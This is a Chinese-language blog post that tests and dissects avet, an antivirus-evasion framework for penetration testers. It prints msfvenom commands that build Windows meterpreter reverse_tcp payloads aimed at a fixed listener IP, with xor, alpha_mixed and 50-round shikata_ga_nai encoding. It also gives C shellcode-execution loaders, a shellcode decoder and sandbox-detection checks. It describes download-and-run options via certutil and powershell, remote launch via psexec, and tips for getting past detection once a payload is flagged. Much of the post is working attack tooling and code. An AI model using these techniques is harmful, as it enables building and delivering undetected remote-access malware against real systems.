Good in study, attitude and health

AntiVirus Evasion Tool(avet)测试分析

0x00 前言


avet是一款用来绕过杀毒软件检测的工具,使用了多种不同的反病毒规避技术。

分别入选blackhat ASIA 2017 arsnal、blackhat USA 2017 arsnal和blackhat USA 2018 arsnal:

https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool

https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet—antivirus-evasion-tool-7908

https://www.blackhat.com/us-18/arsenal/schedule/index.html#avet-antivirus-evasion-tool-10692

github开源地址:

https://github.com/govolution/avet

本文将要对其进行测试,结合自己的经验分析avet使用的反病毒规避技术

0x01 简介


本文将要介绍以下内容:

  • 环境搭建
  • 使用流程
  • 工具实现细节
  • 技术细节分析

0x02 环境搭建


测试系统:kali2 x64

1、下载

https://github.com/govolution/avet

2、编译

如果使用32位kali系统,需要编译

gcc -o make_avet make_avet.c

64位kali系统不需要

3、安装wine32

否则,无法生成exe

如下图

Alt text

安装命令:

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

4、安装TDM GCC

参考地址:

https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/

下载:

https://sourceforge.net/projects/tdm-gcc/

安装:

wine tdm64-gcc-5.1.0-2.exe

弹出安装窗口,选择Create

选择MinGW-w64/TDM64(32-bit and 64-bit)

接下来,均选择默认设置,最后安装

5、测试

执行:

./make_avet -h

获得参数说明

0x03 使用流程


1、执行avet_fabric.py

如下图

Alt text

2、选择script

这里选择7: build_win64_meterpreter_rev_tcp_xor.sh

3、编辑脚本内容

显示默认脚本内容,可进行修改,如下图

Alt text

注:

脚本内容对应文件/build/build_win64_meterpreter_rev_tcp_xor.sh

默认脚本内容及说明如下:

(1) 指定gcc编译设置,内容为win64_compiler="wine gcc -m64"

. build/global_win64.sh

(2) 使用meterpreter生成reverse payload并保存为sc.txt

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f c --platform Windows > sc.txt

(3) 读取sc.txt的内容,提取出shellcode,删除文件sc.txt

./format.sh sc.txt > scclean.txt && rm sc.txt

(4) 调用make_avet,向文件defs.h传入shellcode和功能标志位

./make_avet -f scclean.txt -X -E

(5) 使用gcc编译avet.c(avet.c会调用defs.h),生成最终文件pwn.exe

$win64_compiler -o pwn.exe avet.c

(6) 删除文件scclean.txt,清空文件defs.h

rm scclean.txt && echo "" > defs.h

4、执行,生成最终文件

确认脚本内容后,输入回车,执行脚本,如下图

Alt text

生成最终文件pwn.exe

0x04 工具实现细节


1、通过meterpreter生成payload并保存文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt

文件内容如下图

Alt text

2、运行format.sh将shellcode从前面的文件提取出来

./format.sh sc.txt > scclean.txt

提取后的文件内容如下图

Alt text

注:

个人认为,以上两步可通过一条命令实现:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt

3、运行make_avet,从前面的文件提取shellcode,并设置功能标志位,写入文件defs.h

功能标志位对应make_avet支持的多种功能,可通过执行./make_avet -h获得详细说明

具体功能如下:

  • 从指定文件读取shellcode并执行
  • 从指定文件读取加密的shellcode,解密后执行
  • 调用iexplore.exe访问指定url,获得shellcode并执行
  • 通过WinAPI调用socket,访问指定url的80端口,获得shellcode并执行
  • 通过certutil下载文件,获得shellcode并执行
  • 通过powershell下载文件,获得shellcode并执行
  • 使用WinAPI fopen绕过沙盒
  • 使用WinAPI gethostbyname绕过沙盒
  • 编译成64位
  • 隐藏程序窗口

4、使用gcc编译avet.c,生成最终文件

avet.c为主体程序,从头文件defs.h读取shellcode和功能标志位

0x05 技术细节分析


1、执行shellcode的核心代码

(1)

void exec_shellcode(unsigned char *shellcode)
{
	int (*funct)();
	funct = (int (*)()) shellcode;
	(int)(*funct)();
}

对应生成shellcode的参数:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x86/xor -f hex -a x86 --platform Windows > sc.txt

(2)

void exec_shellcode_ASCIIMSF(unsigned char *shellcode)
{
	register unsigned char* r asm("eax");
	r=shellcode;
	asm("call *%eax;");
}

对应生成shellcode的参数:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x86/alpha_mixed -f hex -a x86 --platform Windows > sc.txt

(3)

void exec_shellcode64(unsigned char *shellcode)
{
	int len=strlen(shellcode);
	DWORD l=0;
	VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l);
	(* (int(*)()) shellcode)();
}

生成shellcode的参数:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt

注:

shellcode的加密方法还可以选择shikata_ga_nai,使用shikata_ga_nai加密50轮的参数如下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.103 lport=443 -e x86/shikata_ga_nai -i 50 -f hex -a x86 --platform Windows > sc.txt

补充

执行shellcode的方法不唯一,这里再给出另外一种执行shellcode的示例代码:

void exec_shellcode(unsigned char *shellcode)
{
	((void(*)(void))&shellcode)();
}

shellcode的生成方式也不唯一,可以按照自己的思路生成shellcode

2、自己实现的加解密算法

加密对应参数为:

./make_avet -E

解密对应的代码为:

unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)
{
	int j=0;
	shellcode=malloc((size/2));
	int i=0;
	do
	{
		unsigned char temp[3]={0};
		sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]);
		shellcode[j] = strtoul(temp, NULL, 16);
		i+=2;
		j++;
	} while(i<size);
	return shellcode;
}

3、绕过沙盒

(1) 使用WinAPI fopen

将shellcode保存在文件c:\windows\system.ini

主程序运行时读取文件c:\windows\system.ini

如果在沙盒中,无法打开文件c:\windows\system.ini,主程序自动退出

关键代码:

FILE *fp = fopen("c:\\windows\\system.ini", "rb");
if (fp == NULL)
	return 0;
fclose(fp);

(2) 使用WinAPI gethostbyname

主程序调用WinAPI gethostbyname获得指定主机名的主机信息

如果在沙盒中,gethostbyname将会返回NULL,主程序自动退出

关键代码:

struct hostent *hp = gethostbyname(KVALUE);
if (hp != NULL) 		
	exit(0);

注:

判断沙盒条件的方法不唯一,例如系统进程信息、配置信息、设备信息等

4、支持psexec远程执行

主体程序更换为avetsvc.c

avetsvc.c相比于avet.c,代码添加了注册服务的功能,能够通过psexec以服务的方式远程启动

0x06 免杀效果


具体免杀效果略

如果被查杀,可以尝试以下方法:

  • 修改shellcode
  • 加密shellcode
  • 修改shellcode的加载方式
  • 使用含有数字签名的可信程序启动shellcode

0x07 小结


本文对avet进行实际测试,分析其中的技术细节,省略实际免杀效果。

总体来说,avet实现了一个完整的框架,在此基础上易于做二次开发,确实能够提高渗透测试人员的效率


LEAVE A REPLY